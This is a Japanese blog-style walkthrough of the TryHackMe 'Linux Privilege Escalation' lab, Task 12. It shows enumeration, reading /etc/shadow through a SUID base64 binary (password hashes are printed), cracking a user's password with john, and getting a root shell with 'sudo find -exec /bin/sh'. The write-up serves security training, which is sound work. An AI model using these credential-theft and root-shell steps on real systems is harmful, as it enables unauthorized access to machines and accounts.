Linux Privilege Escalation
https://tryhackme.com/room/linprivesc
tryhackmeのLinuxの権限昇格が、面白かったのでメモ。
Task12
与えられた情報を元に、sshで対象のサーバーに入り、ヒントがないかあさる。
$ ssh leonard@xxx.xxx.xxx.xxx
$ cat .bash_histroy # 特に何もなし
$ pwd
/home/lenard
$ ls
perl5 # 一瞬怪しいと思ったが何もなし
一度外から何かあるか探る。22しかあいてないので、showmountとか、enum4linuxとかは除外。純粋に中からの権限昇格が必要らしい。
$ rustscan -a xxx.xxx.xxx.xxx --ulimit 5000
Open 10.10.166.195:22
もう一度sshして中を探る。
$ ls -l /home
合計 4
drwx------. 7 leonard leonard 213 4月 19 02:32 leonard
drwx------. 16 missy missy 4096 6月 7 2021 missy
drwx------. 2 root root 23 6月 7 2021 rootflag
rootflagといういかにもなディレクトリと、missyというユーザーを発見。/etc/passwdもみてみる。
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
(・・・省略)
missy:x:1001:1001::/home/missy:/bin/bash
いる。
$ ls -l /etc/shadow
----------. 1 root root 1543 6月 7 2021 /etc/shadow
そんなにあまくはない。
soduでなにかセットされているか?が、なにもない。
$ sudo -l
SUIDの設定を探る。
$ find / -perm -u+s 2>/dev/null
/usr/bin/base64
/usr/bin/ksu
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chage
/usr/bin/newgrp
/usr/bin/staprun
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/Xorg
/usr/bin/mount
/usr/bin/umount
/usr/bin/crontab
/usr/bin/pkexec
/usr/bin/at
/usr/bin/sudo
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/sbin/userhelper
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
ゲット!base64は激アツ!!
早速、/etc/shadowを解析。
$ which base64
/usr/bin/base64
$ ls -l /usr/bin/base64
-rwsr-xr-x. 1 root root 37360 8月 20 2019 /usr/bin/base64
# ↑間違いなく行ける予感。
$ /usr/bin/base64 /etc/shadow | /usr/bin/base64 --decode
root:$6$DWBzMoiprTTJ4gbW$g0szmtfn3HYFQweUPpSUCgHXZLzVii5o6PM0Q2oMmaDD9oGUSxe1yvKbnYsaSYHrUEQXTjIwOW/yrzV5HtIL51::0:99999:7:::
(・・・省略)
$ missy:$6$BjOlWE21$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRVCi6/zrlMlAQPAxfwaD2JCUypk4HaNzI3rPVqKHb/:18785:0:99999:7:::
SHA512-criptで、ハッシュ化されたパスワードをゲット。
ローカルに戻り解析をかける。
$ vi hash.txt #ここにrootとmissyの行をそのまま貼り付ける。
$ john hash.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
********* (missy)
Proceeding with incremental:ASCII
1g 0:00:10:29 3/3 0.001589g/s 7994p/s 8000c/s 8000C/s 18lmst..17luka
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
missyのパスワードをゲット(***********)の部分。
早速sshに戻り、missyになってみる。
$ su missy
Password: 上記で取得したやつ
$ whoami
missy
$ cd # missyのディレクトリへ移動
$ ls
Desktop Documents Downloads Music Pictures Public Templates Videos perl5
$ ls Documents
flag1.txt
とりあえず、1つ目のフラグゲット。2個めのフラグを探す。
先程は、leonardではsudo権限が無かったが、missyでも確認をしてみる。
sudo -l
ALL) NOPASSWD: /usr/bin/find
ほう、いきなりfindにsudo権限が付いている。もうクリアしたも同然。
いつもの、GTFOBinsにお世話になる。
$ sudo find . -exec /bin/sh \; -quit
sh-4.2#
思ったとおり、rootのシェルゲット。
そして、2つ目のフラグもゲット。
sh-4.2# ls /home/rootflag/
flag2.txt
これで終了。